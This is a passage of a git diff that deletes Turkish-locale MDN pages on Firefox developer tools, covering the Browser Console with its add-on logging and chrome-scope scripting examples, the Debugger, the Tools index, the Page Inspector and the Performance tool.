-<pre>/Applications/FirefoxAurora.app/Contents/MacOS/firefox-bin -jsconsole</pre> - -<p>The Browser Console looks like this:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16787/browser_console_68.png" style="display: block; height: 339px; margin-left: auto; margin-right: auto; width: 800px;"></p> - -<p>You can see that the Browser Console looks and behaves very much like the <a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a>:</p> - -<ul> - <li>most of the window is occupied by a <a href="/en-US/docs/Tools/Web_Console#Message_Display_Pane" title="/en-US/docs/Tools/Web_Console#Message_Display_Pane">pane that display messages</a>.</li> - <li>at the top, a <a href="/en-US/docs/Tools/Web_Console#Filtering_and_searching" title="/en-US/docs/docs/Tools/Web_Console#Filtering_and_searching">toolbar</a> enables you to filter the messages that appear.</li> - <li>at the bottom, a <a href="/en-US/docs/Tools/Web_Console#The_command_line_interpreter" title="/en-US/docs/docs/Tools/Web_Console#The_command_line_interpreter">command line interpreter</a> enables you to evaluate JavaScript expressions.</li> -</ul> - -<p>Beginning with Firefox 68, the Browser Console allows you to show or hide messages from the content process (i.e. the messages from scripts in all the opened pages) by setting or clearing the checkbox labeled <strong>Show Content Messages</strong>. The following image shows the browser console focused on the same page as above after clicking on the <strong>Show Content Messages</strong> checkbox.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16788/browser_console_68_02.png" style="display: block; height: 339px; margin: 0 auto; width: 800px;"></p> - -<h2 id="Browser_Console_logging">Browser Console logging</h2> - -<p>The Browser console logs the same sorts of messages as the Web Console:</p> - -<ul> - <li><a href="/en-US/docs/Tools/Web_Console#HTTP_requests" title="/en-US/docs/Tools/Web_Console#HTTP_requests">HTTP requests</a></li> - <li><a href="/en-US/docs/Tools/Web_Console#Warnings_and_errors" title="/en-US/docs/Tools/Web_Console#Warnings_and_errors">Warnings and errors</a> (including JavaScript, CSS, security warnings and errors, and messages explicitly logged by JavaScript code using the <a href="https://developer.mozilla.org/en-US/docs/Web/API/console" title="/en-US/docs/Web/API/console">console</a> API).</li> - <li><a href="/en-US/docs/Tools/Web_Console#Input.2Foutput_messages" title="/en-US/docs/Tools/Web_Console#Input.2Foutput_messages">Input/output messages</a>: commands send to the browser via the command line, and the result of executing them.</li> -</ul> - -<p>However, it displays such messages from:</p> - -<ul> - <li>web content hosted by all browser tabs</li> - <li>the browser's own code</li> - <li>add-ons.</li> -</ul> - -<h3 id="Messages_from_add-ons">Messages from add-ons</h3> - -<p>The Browser Console displays messages logged by all Firefox add-ons.</p> - -<h4 id="Console.jsm">Console.jsm</h4> - -<p>To use the console API from a traditional or bootstrapped add-on, get it from the Console module.</p> - -<p>One exported symbol from Console.jsm is "console". Below is an example of how to access it, which adds a message to the Browser Console.</p> - -<pre class="brush: js">Components.utils.import("resource://gre/modules/Console.jsm"); -console.log("Hello from Firefox code"); //output messages to the console</pre> - -<p>Learn more:</p> - -<ul> - <li><a href="/en-US/docs/Web/API/console">console API reference</a></li> - <li><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/modules/Console.jsm">Console.jsm source code in the Mozilla DXR</a></li> -</ul> - -<h4 id="HUDService">HUDService</h4> - -<p>There is also the HUDService which allows access to the Browse Console. The module is available at <a href="https://dxr.mozilla.org/mozilla-central/source/devtools/client/webconsole/hudservice.js">Mozilla DXR</a>. We see we can not only access the Browser Console but also Web Console.</p> - -<p>Here is an example on how to clear the contents of the Browser console:</p> - -<pre class="brush: js">Components.utils.import("resource://devtools/shared/Loader.jsm"); -var HUDService = devtools.require("devtools/client/webconsole/hudservice"); - -var hud = HUDService.getBrowserConsole(); -hud.jsterm.clearOutput(true);</pre> - -<p>If you would like to access the content document of the Browser Console this can be done with the HUDService. This example here makes it so that when you mouse over the "Clear" button it will clear the Browser Console:</p> - -<pre class="brush: js">Components.utils.import("resource://devtools/shared/Loader.jsm"); -var HUDService = devtools.require("devtools/client/webconsole/hudservice"); - -var hud = HUDService.getBrowserConsole(); - -var clearBtn = hud.chromeWindow.document.querySelector('.webconsole-clear-console-button'); -clearBtn.addEventListener('mouseover', function() { - hud.jsterm.clearOutput(true); -}, false);</pre> - -<h4 id="Bonus_Features_Available">Bonus Features Available</h4> - -<p>For <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/index.html" title="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/index.html">Add-on SDK</a> add-ons, the console API is available automatically. Here's an example add-on that just logs an error when the user clicks a widget:</p> - -<pre class="brush: js">widget = require("sdk/widget").Widget({ - id: "an-error-happened", - label: "Error!", - width: 40, - content: "Error!", - onClick: logError -}); - -function logError() { - console.error("something went wrong!"); -}</pre> - -<p>If you <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/tutorials/installation.html" title="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/tutorials/installation.html">build this as an XPI file</a>, then open the Browser Console, then open the XPI file in Firefox and install it, you'll see a widget labeled "Error!" in the Add-on bar:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/5937/browser-console-addon.png" style="display: block; margin-left: auto; margin-right: auto;">Click the icon. You'll see output like this in the Browser Console:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/5851/browser-console-addon-output.png" style="display: block; margin-left: auto; margin-right: auto;"></p> - -<p>For Add-on SDK-based add-ons only, the message is prefixed with the name of the add-on ("log-error"), making it easy to find all messages from this add-on using the <a href="/en-US/docs/Tools/Web_Console#Filtering_and_searching" title="/en-US/docs/Tools/Web_Console#Filtering_and_searching">"Filter output"</a> search box. By default, only error messages are logged to the console, although <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/console.html#Logging%20Levels" title="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/console.html#Logging%20Levels">you can change this in the browser's preferences</a>.</p> - -<h2 id="Browser_Console_command_line">Browser Console command line</h2> - -<div class="blockIndicator geckoVersionNote"> -<p>The Browser Console command line is disabled by default. To enable it set the <code>devtools.chrome.enabled</code> preference to <code>true</code> in about:config, or set the "Enable chrome debugging" option in the <a href="/en-US/docs/Tools/Settings">developer tool settings</a>.</p> -</div> - -<p>Like the Web Console, the command line interpreter enables you to evaluate JavaScript expressions in real time:<img alt="" src="https://mdn.mozillademos.org/files/5855/browser-console-commandline.png" style="display: block; margin-left: auto; margin-right: auto;">Also like the Web Console's command line interpreter, this command line supports <a href="/en-US/docs/Tools/Web_Console#Autocomplete" title="/en-US/docs/Tools/Web_Console#Autocomplete">autocomplete</a>, <a href="/en-US/docs/Tools/Web_Console#Command_history" title="/en-US/docs/Tools/Web_Console#Command_history">history</a>, and various <a href="/en-US/docs/Tools/Web_Console#Keyboard_shortcuts" title="/en-US/docs/docs/Tools/Web_Console#Keyboard_shortcuts">keyboard shortcuts </a>and <a href="/en-US/docs/Tools/Web_Console#Helper_commands" title="/en-US/docs/Tools/Web_Console#Helper_commands">helper commands</a>. If the result of a command is an object, you can <a href="/en-US/docs/Tools/Web_Console#Inspecting_objects" title="/en-US/docs/Tools/Web_Console#Inspecting_objects">click on the object to see its details</a>.</p> - -<p>But while the Web Console executes code in the scope of the content window it's attached to, the browser console executes code in the scope of the chrome window of the browser. You can confirm this by evaluating <code>window</code>:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/5867/browser-console-chromewindow.png" style="display: block; margin-left: auto; margin-right: auto;"></p> - -<p>This means you can control the browser: opening, closing tabs and windows and changing the content that they host, and modify the browser's UI by creating, changing and removing XUL elements.</p> - -<h3 id="Controlling_the_browser">Controlling the browser</h3> - -<p>The command line interpreter gets access to the <a href="/en-US/docs/XUL/tabbrowser" title="/en-US/docs/XUL/tabbrowser"><code>tabbrowser</code></a> object, through the <code>gBrowser</code> global, and that enables you to control the browser through the command line. Try running this code in the Browser Console's command line (remember that to send multiple lines to the Browser Console, use Shift+Enter):</p> - -<pre class="brush: js">var newTabBrowser = gBrowser.getBrowserForTab(gBrowser.selectedTab); -newTabBrowser.addEventListener("load", function() { - newTabBrowser.contentDocument.body.innerHTML = "<h1>this page has been eaten</h1>"; -}, true); -newTabBrowser.contentDocument.location.href = "https://mozilla.org/";</pre> - -<p>It adds a listener to the currently selected tab's <code>load</code> event that will eat the new page, then loads a new page.</p> - -<div class="blockIndicator note"> -<p><strong>Note</strong>: You can restart the browser with the command <kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>R</kbd> (Windows, Linux) or <kbd>Cmd</kbd> + <kbd>Alt</kbd> + <kbd>R</kbd> (Mac) This command restarts the browser with the same tabs open as before the restart.</p> -</div> - -<h3 id="Modifying_the_browser_UI">Modifying the browser UI</h3> - -<p>Since the global <code>window</code> object is the browser's chrome window, you can also modify the browser's user interface. On Windows, the following code will add a new item to the browser's main menu:</p> - -<pre class="brush: js">var parent = window.document.getElementById("appmenuPrimaryPane"); -var makeTheTea = gBrowser.ownerDocument.defaultView.document.createElementNS("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem"); -makeTheTea.setAttribute("label", "A nice cup of tea?"); -parent.appendChild(makeTheTea);</pre> - -<p><img alt="" src="https://mdn.mozillademos.org/files/5859/browser-console-modify-ui-windows.png" style="display: block; margin-left: auto; margin-right: auto;">On macOS, this similar code will add a new item to the "Tools" menu:</p> - -<pre class="brush: js">var parent = window.document.getElementById("menu_ToolsPopup"); -var makeTheTea = gBrowser.ownerDocument.defaultView.document.createElementNS("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem"); -makeTheTea.setAttribute("label", "A nice cup of tea?"); -parent.appendChild(makeTheTea);</pre> - -<p><img alt="" src="https://mdn.mozillademos.org/files/5861/browser-console-modify-ui-osx.png" style="display: block; margin-left: auto; margin-right: auto;"></p> diff --git a/files/tr/tools/debugger/index.html b/files/tr/tools/debugger/index.html deleted file mode 100644 index d3e8c68cc7..0000000000 --- a/files/tr/tools/debugger/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Hata ayıklayıcı -slug: Tools/Debugger -tags: - - '#HataAyıklayıcı #HataAyıklama #JavaScript' -translation_of: Tools/Debugger -original_slug: Araclar/HataAyıklayıcı ---- -<div class="note"> -<p>Bu sayfa Firefox 52 veya daha üzeri sürümdeki JavaScript Hata Ayıklayıcı'yı tanıtır. Daha önceki sürümlerde nasıl olduğunu görmek için <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (before Firefox 52)</a>.</p> - -<p>Eğer Firefox 52 veya daha yeni sürüm kullanıyor ve eski Hata Ayıklayıcı'ya dönmek istiyorsanız, about:config adresini ziyaret edip "devtools.debugger.new-debugger-frontend" tercihini <code>false</code> yaparak başarabilirsiniz. </p> -</div> - -<p>{{EmbedYouTube("QK4hKWmJVLo")}}</p> - -<p>JavaScript Hata Ayıklayıcı, hataları izlemenize yardımcı olması için JavaScript kodunu adım adım izlemenize veya durumunu değiştirmenize olanak tanır.</p> - -<p>Onu Firefox'ta yerel olarak hata ayıklamak için veya uzaktan çalıştırılabilir. Örneğin Android cihazda Android için Firefox çalışırken. Uzaktaki bir hedefe nasıl bağlanıldığını öğrenmek için <a href="/en-US/docs/Tools/Remote_Debugging"> Remote debugging </a>sayfasını ziyaret edin.</p> - -<p>Hata Ayıklayıcı Firefox'ta yerleşik olarak bulunur, ve bu sayfalar Firefox'ta gömülü bu özelliği açıklar. Ancak onu bağımsız bir web uygulaması olarak da çalıştırabilirsiniz, ve daha sonra onu hata ayıklamak için diğer tarayıcılarda ve düğümde kullanabilirsiniz. Daha fazla detay için projenin GitHub deposuna bakabilirsiniz: <a href="https://github.com/devtools-html/debugger.html">project's GitHub repository</a>.</p> - -<p>Yeni Hata Ayıklayıcı — henüz — eski Hata Ayıklayıcı'nın tüm özelliklerini desteklemiyor. Şuradan bakın: <a href="/en-US/docs/Tools/Debugger/Limitations_of_the_new_debugger">Limitations of the new debugger</a>.</p> - -<hr> -<h2 id="Kullanıcı_Arayüz_Turu">Kullanıcı Arayüz Turu</h2> - -<p>Hata Ayıklayıcı'da yolunuzu bulmak için size küçük bir tur : <a href="/en-US/docs/Tools/Debugger/UI_Tour">quick tour of the UI</a>.</p> - -<hr> -<h2 id="Nasıl">Nasıl?</h2> - -<p>Hata Ayıklayıcı'da ne yapabileceğinizi bulmak için aşağıdaki Nasıl? Rehberini takip edin:</p> - -<div class="twocolumns"> -<ul> - <li><a href="/en-US/docs/Tools/Debugger/How_to/Open_the_debugger">Open the debugger</a></li> - <li><a href="/en-US/docs/Tools/Debugger/How_to/Set_a_breakpoint">Set a breakpoint</a></li> - <li><a href="/en-US/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">Set a conditional breakpoint</a></li> - <li><a href="/en-US/docs/Tools/Debugger/How_to/Disable_breakpoints">Disable breakpoints</a></li> - <li><a href="/en-US/docs/Tools/Debugger/How_to/Step_through_code">Step through code</a></li> - <li><a href="/en-US/docs/Tools/Debugger/How_to/Breaking_on_exceptions">Breaking on exceptions</a></li> - <li><a href="/en-US/docs/Tools/Debugger/How_to/Pretty-print_a_minified_file">Pretty-print a minified file</a></li> - <li><a href="/en-US/docs/Tools/Debugger/How_to/Search">Search</a></li> - <li><a href="/en-US/docs/Tools/Debugger/How_to/Debug_eval_sources">Debug eval sources</a></li> -</ul> -</div> - -<hr> -<h2 id="Referans">Referans</h2> - -<div class="twocolumns"> -<ul> - <li><a href="/en-US/docs/Tools/Debugger/Keyboard_shortcuts">Klavye kısayolları</a></li> -</ul> -</div> diff --git a/files/tr/tools/index.html b/files/tr/tools/index.html deleted file mode 100644 index e417962b62..0000000000 --- a/files/tr/tools/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Firefox Geliştirici Araçları -slug: Tools -tags: - - Türkçe Firefox Devop Toolls - - firefox aurora - - geliştirici araçları -translation_of: Tools -original_slug: Araclar ---- -<div><font><font><font><font>{{ToolsSidebar}}</font></font></font></font></div> - -<div class="summary">HTML, CSS ve JavaScript'i telefonundan ve masaüstü bilgisayarından incele, düzenle ve ayıkla. Geliştirici araçları son sürümleri için <a href="https://www.mozilla.org/en-US/firefox/developer/">Firefox Gelistirici Sürümü'nü indir</a>.</div> - -<div class="column-container zone-callout"> -<h3 id="Aurora_da_neler_yeni"><a href="https://hacks.mozilla.org/2013/11/firefox-developer-tools-episode-27-edit-as-html-codemirror-more/" title="Aurora Hacks sonrası">Aurora' da neler yeni?</a></h3> -Son <a href="http://www.mozilla.org/en-US/firefox/aurora/" title="http://www.mozilla.org/en-US/firefox/aurora/">Firefox Aurora dağıtımı</a> Firefox 27' dir, ve geliştirici araçları için bu güncellemeleri içerir: - -<ul> - <li><a href="/en-US/docs/Tools/Shader_Editor">Shader Editor</a>, WebGL shader'larını görmenizi ve değiştirmenizi sağlar</li> - <li><font><font>Debugger'ı dinlediğiniz </font></font><a href="/en-US/docs/Tools/Debugger#Break_on_a_DOM_event"><font><font>DOM olaylarında durması</font></font></a><font><font> için talimat verin</font></font></li> - <li><a href="/en-US/docs/Tools/Page_Inspector#Editing_HTML"><font><font>Denetçide HTML'yi değiştirin</font></font></a></li> - <li><font><font>Denetçinin </font></font><a href="/en-US/docs/Tools/Page_Inspector#Rules_view"><font><font>Kurallar Sekmasinde</font></font></a><font><font>, renk paletlerini ve arkaplanları görün</font></font></li> - <li><font><font>Web Konsolu şimdi </font></font><a href="/en-US/docs/Tools/Web_Console#Reflow_events"><font><font>yeniden akış olayları kaydeder</font></font></a></li> - <li><font><font>Kod Görüntüleyici şimdi çoğu araçta kaynak editörü olarak kullanılmakta</font></font></li> -</ul> -</div> - -<div class="column-container"> -<p><img alt="Seçmenler adipiscing lorem ipsum dolor elit, sit amet. Kazanan sonuc Maecenas futbol. Maecenas korkar. Tamam bir, çalışan, çapı yaşamak, olmayan lütfen, kolay Hayat, Hayim. Ama vadi Eleman Am rafa sohbet. Hamil finanse Hemen başlayın." src="https://mdn.mozillademos.org/files/6111/debugger-800.png" style="display: block; height: 360px; margin-left: auto; margin-right: auto; width: 800px;"><span class="seoSummary"><font><font>Firefox Geliştirici Araçları'nı </font></font><a href="/en-US/docs/Tools/Page_Inspector" title="/ Tr-TR / docs / Araçlar / Page_Inspector"><font><font>HTML and CSS'i incelemek ve düzenlemek</font></font></a><font><font>, </font></font><a href="/en-US/docs/Tools/Debugger" title="/ Tr-TR / docs / Araçlar / Debugger"><font><font>JavaScript'te</font></font></a><font><font> hata ayıklamak ve sayfa içinde </font></font><a href="/en-US/docs/Tools/Web_Console#The_command_line_interpreter" title="/ Tr-TR / docs / Araçlar / Web_Console # The_command_line_interpreter"><font><font>JavaScript'i çalıştırmak</font></font></a><font><font> için kullanabilirsiniz. Bir sayfayı yüklerken tarayıcınızın karşılaştığı JavaScript ve CSS uyarı ve hatalarını görebilmeye ek olarak, ağ isteklerini görmek için de bu geliştirici araçlarını kullanabilirsiniz. </font></font></span></p> - -<div class="tpart"><font><font>Android için Firefox ve yakında Firefox OS çalıştıran kodda hata ayıklamak için geliştirici araçlarını kullanabilirsiniz. Mobil geliştirmeyi hedefleyen araçlar da sağladık: Duyarlı Tasarım Görünümü, bir sitenin küçük bir ekranda nasıl görüneceğini görmenin hızlı bir yoludur ve Firefox OS Simulator, bir Firefox OS uygulamasını masaüstünde gerek kalmadan çalıştırmanıza ve hata ayıklamanıza olanak tanır gerçek bir Firefox OS cihazı kullanmak için.</font></font></div> - -<div class="tpart"></div> - -<div class="tpart"><font><font>Firefox eklentileri hata ayıklayıcı API'sına erişebilir, böylece yerleşik araçları genişleten ve geliştiren kendi geliştirici araçlarınızı oluşturabilirsiniz. Uzaktan hata ayıklama protokolü ile kendi hata ayıklama istemcilerinizi ve sunucularınızı uygulayabilir, böylece kendi araçlarınızı kullanarak web sitelerinde hata ayıklama veya Firefox araçlarını kullanarak farklı hedeflerde hata ayıklama yapabilirsiniz.</font></font></div> - -<div class="column-third"> -<h2 id="Tools" name="Tools"><font><font>Araç Kutusu</font></font></h2> - -<p><a href="/en-US/docs/Tools/Toolbox" title="/ Tr-TR / docs / Araçlar / Araç Kutusu"><font><font>Araç Kutusu</font></font></a><font><font>, Firefox içindeki tüm Geliştirici Araçları'nı tek çatı altına toplamayı sağlamaktadır.</font></font></p> - -<dl> - <dt><a href="/en-US/docs/Tools/Page_Inspector" title="Araçlar / Page_Inspector"><font><font>Sayfa Denetçisi</font></font></a></dt> - <dd><font><font>Görünüm ve seçili öğe için HTML ve CSS ayarları.</font></font></dd> - <dt><a href="/en-US/docs/Tools/Web_Console" title="Araçlar / Web_Console"><font><font>Web Konsolu </font></font></a></dt> - <dd><font><font>Web sayfası yükleyen browser tarafından gönderilen bilgi, uyarı ve hata mesajlarını görün, ve JavaScript kullanarak sayfayı inceleyin ve degiştirin.</font></font></dd> - <dt><a href="/en-US/docs/Tools/Style_Editor" title="Araçlar / Style_Editor"><font><font>Biçim Editörü</font></font></a></dt> - <dd><font><font>Sayfanızdaki CSS ayarlarını görün ve düzenleyin.</font></font></dd> - <dt><a href="/en-US/docs/Tools/Debugger" title="Araçlar / Debugger"><font><font>JavaScript Debugger</font></font></a></dt> - <dd><font><font>Browserda calışan JavaScript kodunu inceleyin ve değişkenleri takip ederek kodunuzu debug edin.</font></font></dd> - <dt><a href="/en-US/docs/Tools/Profiler" title="Araçlar / Profiler"><font><font>JavaScript Profiler</font></font></a></dt> - <dd><font><font>Profiler'ı kullanarak JavaScript'inizin vaktini nerede harcadığını anlayın.</font></font></dd> - <dt><a href="/en-US/docs/Tools/Network_Monitor" title="Araçlar / Network_Monitor"><font><font>Ağ izleyici</font></font></a></dt> - <dd><font><font>Bir sayfa yüklendiğinde gerçekleşen bütün ağ taleplerini ve ne kadar süre aldıklarını inceleyin.</font></font></dd> - <dt><a href="/en-US/docs/Tools/Shader_Editor"><font><font>Shader Editör</font></font></a></dt> - <dd><font><font>Görüntüleme ve düzenleme köşe ve kullandığı parçası shader </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/WebGL"><font><font>WebGL</font></font></a><font><font> .</font></font></dd> -</dl> -</div> - -<div class="column-third"> -<h2 id="Mobil"><font><font>Mobil</font></font></h2> - -<p><font><font>Elbette mobil web geliştiricileri de web geliştiricileridir. Bu nedenle wen geliştirme araçlarının çoğunun mobil wen geliştiricilerini de ilgilendiriyor.Fakat sadece mobil geliştirmeyi hedefleyen bazı araçlar da hazırladık.</font></font></p> - -<dl> - <dt><a href="/en-US/docs/Tools/Remote_Debugging" title="Araçlar / Remote_Debugging"><font><font>Uzaktan Hata Ayıklama</font></font></a></dt> - <dd><font><font>Android cihazında USB üzerinden hata ayıklamak için geliştirici araçlarını kullanın.</font></font></dd> - <dt><a href="/en-US/docs/Tools/Firefox_OS_Simulator" title="Araçlar / Firefox_OS_Simulator"><font><font>Firefox OS Simülatör</font></font></a></dt> - <dd><font><font>Gerçek bir Firefox OS cihazı kullanmanıza gerek kalmadan masaüstünde Firefox OS uygulamanızı çalıştırın ve hata ayıklayın.</font></font></dd> - <dt><a href="/en-us/docs/Tools/Responsive_Design_View" title="/ En-us / docs / Araçlar / Responsive_Design_View"><font><font>Responsive Tasarım Görünümü</font></font></a></dt> - <dd><font><font>Tarayıcı pencerenizin boyutunu değiştirmeden web sitenizin veya uygulamanızın farklı ekran boyutlarında nasıl görüneceğini görün..</font></font></dd> -</dl> -</div> - -<div class="column-third"> -<h2 id="Bağımsız_Araçlar"><font><font>Bağımsız Araçlar</font></font></h2> - -<p><font><font>Bu araçlar Firefox'a dahil edilebilir, ama kullanıcı arayüzleri (GUI) Araç Kutusu'na entegre edilemezler.</font></font></p> - -<dl> - <dt><a href="/en-US/docs/Tools/Scratchpad" title="Araçlar / Scratchpad'i"><font><font>Çalışma defteri</font></font></a></dt> - <dd><font><font>Yazdığınız ve JavaScript yürütmek sağlar Firefox yerleşik bir metin editörü.</font></font></dd> - <dt><a href="/en-us/docs/Tools/Browser_Console" title="/ En-us / docs / Araçlar / Responsive_Design_View"><font><font>Tarayıcı Konsol</font></font></a></dt> - <dd><font><font>içerik, krom içeren tarayıcıda çalışan tüm JavaScript kodundan mesajlarına bakın ve eklentileri. </font><font>krom pencerenin bağlamda JavaScript kodunu yürütün.</font></font></dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/GCLI" title="ve / Araçlar / GCLI"><font><font>Geliştirici Araç Çubuğu</font></font></a></dt> - <dd><font><font>Bir komut satırı arayüzü en sık kullanılan araçlara hızlı erişim için geliştirici Firefox'ta araçları ve düğmelerle işlemek ve çalışmak için.</font></font></dd> - <dt><a href="/en-US/docs/Tools/3D_View" title="Araçlar / 3D_View"><font><font>3D Görünüm</font></font></a></dt> - <dd><font><font>"Tilt", bu mevcut sayfanın 3D görselleştirme sağlar olarak da bilinir.</font></font></dd> - <dt><a href="/en-US/docs/Tools/Paint_Flashing_Tool" title="Araçlar / Paint_Flashing_Tool"><font><font>Yanıp sönen Aracı Boya</font></font></a></dt> - <dd><font><font>Boya yanıp sönen aracı siteyle ilgili olası performans sorunları teşhis etmek için yardımcı olaylar karşısında yeniden boyanması ve tarayıcı penceresinin bir kısmını vurgular.</font></font></dd> -</dl> -</div> -</div> - -<hr> -<h2 id="Diğer_Kaynaklar"><font><font>Diğer Kaynaklar</font></font></h2> - -<p><font><font>Mozilla'nın geliştirici araçları ekibi tarafından tutulan ancak değil bu bölümde listelenmiştir kaynakları yaygın web geliştiricileri tarafından kullanılır. </font><font>Biz bu listedeki birkaç Firefox eklentileri dahil, fakat tam liste için bkz ettik </font></font><a href="https://addons.mozilla.org/en-US/firefox/extensions/web-development/" title="https://addons.mozilla.org/en-US/firefox/extensions/web-development/"><font><font>addons.mozilla.org "Web Geliştirme" kategorisinde</font></font></a><font><font> .</font></font></p> - -<dl> - <dt><a href="https://www.getfirebug.com/" title="kundakçı"><font><font>kundakçı</font></font></a></dt> - <dd><font><font>bir JavaScript debugger, HTML ve CSS düzenleyici ve gösterici ve ağ monitör de dahil olmak üzere bir çok popüler ve güçlü bir web geliştirme aracı.</font></font></dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/DOM_Inspector" title="DOM_Inspector"><font><font>DOM Ayıklayıcı</font></font></a></dt> - <dd><font><font>web sayfaları veya XUL pencerelerin DOM göz, kontrol ve düzenleme.</font></font></dd> - <dt><a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/" title="Web Geliştiricisi"><font><font>Web Geliştirici</font></font></a></dt> - <dd><font><font>Bir menü ve çeşitli web geliştirici araçları ile tarayıcıya bir araç çubuğu ekler.</font></font></dd> - <dt><a href="https://webmaker.org/en-US/tools/" title="https://webmaker.org/en-US/tools/"><font><font>Web Tasarım Aracı</font></font></a></dt> - <dd><font><font>Mozilla tarafından geliştirilen araçlar kümesi, insanlar Internet gelişimi ile başlarken amaçlayan.</font></font></dd> - <dt><a href="http://www.w3.org/Status.html" title="W3C"><font><font>W3C Doğrulayıcı</font></font></a></dt> - <dd><font><font>W3C web sitesinin dahil olmak üzere web geçerliliğini kontrol etmek bir dizi araç barındıran </font></font><a href="http://validator.w3.org/" title="http://validator.w3.org/"><font><font>HTML</font></font></a><font><font> ve </font></font><a href="http://jigsaw.w3.org/css-validator/" title="http://jigsaw.w3.org/css-validator/"><font><font>CSS</font></font></a><font><font> .</font></font></dd> - <dt><a href="http://www.jshint.com/" title="JSHint"><font><font><font><font>JSHint</font></font></font></font></a></dt> - <dd><font><font>JavaScript kod analiz aracı</font></font></dd> -</dl> diff --git a/files/tr/tools/page_inspector/index.html b/files/tr/tools/page_inspector/index.html deleted file mode 100644 index 548d1027e9..0000000000 --- a/files/tr/tools/page_inspector/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Page Inspector -slug: Tools/Page_Inspector -translation_of: Tools/Page_Inspector -original_slug: Araclar/Page_Inspector ---- -<p>Bir sayfanın HTML'sini ve CSS'sini incelemek ve değiştirmek için Page Inspector'ı kullanın.</p> - -<p>Firefox'un yerel kopyasında yüklü olan sayfaları veya Android için Firefox gibi uzak bir hedefi inceleyebilirsiniz. Geliştirici araçlarını uzak bir hedefe nasıl bağlayacağınızı öğrenmek için <a href="/en-US/docs/Tools/Remote_Debugging">uzaktan hata ayıklamaya</a><a href="/en-US/docs/Tools/Remote_Debugging"> </a> bakın.</p> - -<h2 id="Kullanıcı_Arayüzü_Turu">Kullanıcı Arayüzü Turu</h2> - -<p>Page Inspector'daki yolunuzu bulmak için, <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour">arayüzü hızlı bir şekilde gezin</a>.</p> - -<h2 id="Nasıl">Nasıl</h2> - -<p>Inspector'la neler yapabileceğinizi öğrenmek için, aşağıdaki kılavuzları inceleyin:</p> - -<div class="twocolumns"> -<ul> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Open_the_Inspector">Open the Inspector</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">Examine and edit HTML</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examine and edit the box model</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Inspect_and_select_colors">Inspect and select colors</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Reposition_elements_in_the_page">Reposition elements in the page</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/View_fonts">View fonts</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Visualize_transforms">Visualize transforms</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_API">Use the Inspector API</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">Select an element</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_event_listeners">Examine event listeners</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations">Work with animations</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Edit CSS filters</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/View_background_images">View background images</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_from_the_Web_Console">Use the Inspector from the Web Console</a></li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Examine CSS grid layouts</a></li> -</ul> -</div> - -<h2 id="Reference">Reference</h2> - -<div class="twocolumns"> -<ul> - <li><a href="/en-US/docs/Tools/Page_Inspector/Keyboard_shortcuts">Keyboard shortcuts </a></li> - <li><a href="/en-US/docs/Tools/Tools_Toolbox#Inspector">Settings</a></li> -</ul> -</div> diff --git a/files/tr/tools/performance/index.html b/files/tr/tools/performance/index.html deleted file mode 100644 index a47a777603..0000000000 --- a/files/tr/tools/performance/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Performance -slug: Tools/Performance -translation_of: Tools/Performance -original_slug: Araclar/Performance ---- -<div>{{ToolsSidebar}}</div> - -<p>The Performance tool gives you insight into your site's general responsiveness, JavaScript and layout performance. With the Performance tool you create a recording, or profile, of your site over a period of time. The tool then shows you an <a href="/en-US/docs/Tools/Performance/UI_Tour#Waterfall_overview">overview</a> of the things the browser was doing to render your site over the profile, and a graph of the <a href="/en-US/docs/Tools/Performance/Frame_rate">frame rate</a> over the profile.</p> - -<p>You get four sub-tools to examine aspects of the profile in more detail:</p> - -<ul> - <li>the <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> shows the different operations the browser was performing, such as executing layout, JavaScript, repaints, and garbage collection</li> - <li>the <a 